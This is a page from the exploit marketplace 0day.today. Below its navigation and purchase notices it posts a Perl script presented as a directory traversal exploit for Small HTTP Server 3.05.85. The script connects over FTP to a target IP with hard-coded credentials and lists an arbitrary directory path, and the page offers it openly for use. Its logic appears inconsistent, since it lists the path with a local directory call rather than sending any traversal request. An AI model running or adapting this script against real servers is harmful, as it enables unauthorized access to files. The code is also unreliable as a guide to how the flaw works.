0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Small HTTP Server <= 3.05.85 Directory Traversal Exploit
======================================================== Small HTTP Server <= 3.05.85 Directory Traversal Exploit ======================================================== #!/usr/bin/perl # # Author : Houssamix # Small HTTP Server <= 3.05.85 Directory Traversal Exploit # Description : Any user FTP with low permission can have access to any directory in server # Downlod : http://smallsrv.com/ # [01.01.09] Happy new year! Version 3.05.84 # Greetz to Legend-Spy , Stack , Snakespc , str0ke & .. use LWP; use Net::FTP; use IO::Dir; use Tk; if(@ARGV!=2){ print "Author : Houssamix \n"; print "Small HTTP Server <= 3.05.85 Directory Traversal Exploit\n"; print "Usage: Hsmx.pl IP [dir_path] \n"; print "Exam: Hsmx.pl 127.0.0.1 c:\\ \n\n"; exit; } $ip = $ARGV[0]; $path = $ARGV[1]; my $username = "houssamix"; my $pass = "123456"; system("color f"); print "\n\n"; print "[+] Author : Houssamix\n"; print "[+] Small HTTP Server <= 3.05.85 Directory Traversal Exploit\n"; print "[+] Connect to $ip ...\n"; sleep(1); $ftp = Net::FTP->new($ip, Debug => 0, Port => 21) || die "could not connect: $!"; print "[+] Send user and pass..\n"; $ftp->login($username, $pass) || die "could not login: $!"; sleep(1); print "[+] Logged in\n"; print "[+] Bad request sent \n\n"; sleep(1); tie %dir, IO::Dir, $path; foreach (keys %dir) { print $_, " => " , $dir{$_}->size, "\n"; } $ftp->quit; # 0day.today [2024-07-08] #